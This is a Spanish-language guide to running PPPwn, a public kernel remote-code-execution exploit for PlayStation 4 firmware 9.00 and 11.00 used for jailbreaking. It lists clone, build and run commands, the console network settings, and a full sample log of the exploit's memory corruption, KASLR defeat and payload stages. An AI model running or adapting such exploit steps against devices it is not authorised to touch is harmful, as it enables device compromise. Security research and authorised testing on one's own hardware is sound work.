PS4 Exploit 11.00 PPPWN Guía Completa de configuración jailbreak 9.00

PPPwn – PlayStation 4 PPPoE RCE

PPPwn es un exploit de ejecución remota de código del kernel para PlayStation 4 hasta FW 11.00. Se trata de una prueba de concepto de exploit para CVE-2006-4304 que se informó responsablemente a PlayStation.

Las versiones compatibles son:

  • FW 9.00
    FW 11.00
    Se pueden agregar más (los RP son bienvenidos)

El exploit solo se imprime PPPwneden tu PS4 como prueba de concepto. Para lanzar Mira o habilitadores caseros similares, stage2.bines necesario adaptar la carga útil.

Requisitos

  • Computadora con puerto Ethernet
  • El adaptador USB también funciona
  • Cable de ethernet
  • linux
  • Puede usar VirtualBox para crear una máquina virtual Linux con Bridged Adapterun adaptador de red para usar el puerto Ethernet en la máquina virtual.
  • Python3 y gcc instalados

 

Uso

 

En tu computadora, clona el repositorio:

git clone –recursive https://github.com/TheOfficialFloW/PPPwn

Instale los requisitos:

sudo pip install -r requirements.txt

Compile las cargas útiles:

make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100

Para otros firmwares, por ejemplo FW 9.00, pase FW=900.

Ejecute el exploit (consulte ifconfigla interfaz correcta):

sudo python3 pppwn.py –interface=enp0s3 –fw=1100

Para otros firmwares, por ejemplo FW 9.00, pase –fw=900.

En tu PS4:

  • Ir a Settings y luego Network
  • Selecciona Set Up Internet connectiony elige Use a LAN Cable
  • Elija Custom configuración y elija PPPoEparaIP Address Settings
  • Introduzca cualquier cosa para PPPoE User IDyPPPoE Pasword
  • Elige Automaticpor DNS Settings y MTU Settings
  • Elige Do Not UseparaProxy Server
  • Haga clic Test Internet Connection para comunicarse con su computadora

Si el exploit falla o la PS4 falla, puedes saltarte la configuración de Internet y simplemente hacer clic en Test Internet Connection. Si el pppwn.pyscript se atasca esperando una solicitud/respuesta, cancelelo y ejecútelo nuevamente en su computadora, y luego haga clic en Test Internet Connectionen su PS4.

Si el exploit funciona, deberías ver un resultado similar al siguiente, y deberías ver Cannot connect to network.seguido de PPPwnedimpreso en tu PS4.

 

Ejecución de ejemplo

[+] PPPwn – PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin

[+] STAGE 0: Initialization
[*] Waiting for PADI…
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO…
[*] Waiting for PADR…
[*] Sending PADS…
[*] Waiting for LCP configure request…
[*] Sending LCP configure ACK…
[*] Sending LCP configure request…
[*] Waiting for LCP configure ACK…
[*] Waiting for IPCP configure request…
[*] Sending IPCP configure NAK…
[*] Waiting for IPCP configure request…
[*] Sending IPCP configure ACK…
[*] Sending IPCP configure request…
[*] Waiting for IPCP configure ACK…
[*] Waiting for interface to be ready…
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming…done

[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0…done
[*] Sending malicious LCP configure request…
[*] Waiting for LCP configure request…
[*] Sending LCP configure ACK…
[*] Sending LCP configure request…
[*] Waiting for LCP configure ACK…
[*] Waiting for IPCP configure request…
[*] Sending IPCP configure NAK…
[*] Waiting for IPCP configure request…
[*] Sending IPCP configure ACK…
[*] Sending IPCP configure request…
[*] Waiting for IPCP configure ACK…
[+] Scanning for corrupted object…found fe80::0fdf:4141:4141:4141

[+] STAGE 2: KASLR defeat
[*] Defeating KASLR…
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000

[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request…
[*] Waiting for PADI…
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO…
[*] Waiting for PADR…
[*] Sending PADS…
[*] Triggering code execution…
[*] Waiting for stage1 to resume…
[*] Sending PADT…
[*] Waiting for PADI…
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO…
[*] Waiting for PADR…
[*] Sending PADS…
[*] Waiting for LCP configure request…
[*] Sending LCP configure ACK…
[*] Sending LCP configure request…
[*] Waiting for LCP configure ACK…
[*] Waiting for IPCP configure request…
[*] Sending IPCP configure NAK…
[*] Waiting for IPCP configure request…
[*] Sending IPCP configure ACK…
[*] Sending IPCP configure request…
[*] Waiting for IPCP configure ACK…

[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload…
[+] Done!

 

Notas para usuarios de Mac Apple Silicon (arm64 / aarch64)

El código no se compilará en Apple Silicon y requiere la arquitectura AMD64. Existe una solución alternativa mediante el uso de Docker que generará los archivos bin necesarios. Clona este repositorio en tu sistema Mac, luego, desde la carpeta del repositorio, ejecuta ./build-macarm.sh. Esto creará los archivos binarios para PS4 FW 1100 y colocará los archivos necesarios en las carpetas correctas. Para compilar los archivos binarios para una versión diferente, es decir, 900, ejecute el comando como sigue: ./build-macarm.sh 900. Una vez compilada, copie esta estructura de carpetas en la máquina virtual Linux y ejecútela como se indicó anteriormente. Esto se ha probado utilizando VMware Fusion 13.5.1, con VM Guest como Ubuntu 24.04 y la máquina host es MacOS 14.4.1.

 

Notas

Esto NO es un metodo para «liberar» la ps4. Solamente es una vulnerabilidad que ha salido hace poco. Pero no es posible instalar juegos (todavia)

Si estas en una versión mas baja de la 11.00 NO la actualices. No se sabe como se van a ir desarrollando los acontecimientos.

Y por último si. Cada vez que tengas que ejecutar el exploit ( a dia de hoy) vas a tener que ejecutar linux y realizar los procedimientos de activación.

 

Todo lo necesario

  • Fuente exploit: https://github.com/TheOfficialFloW/PPPwn
  • VirtualBOX (máquina virtual): https://www.virtualbox.org/wiki/Download_Old_Builds_6_0
  • Distribución Linux Mint: https://linuxmint.com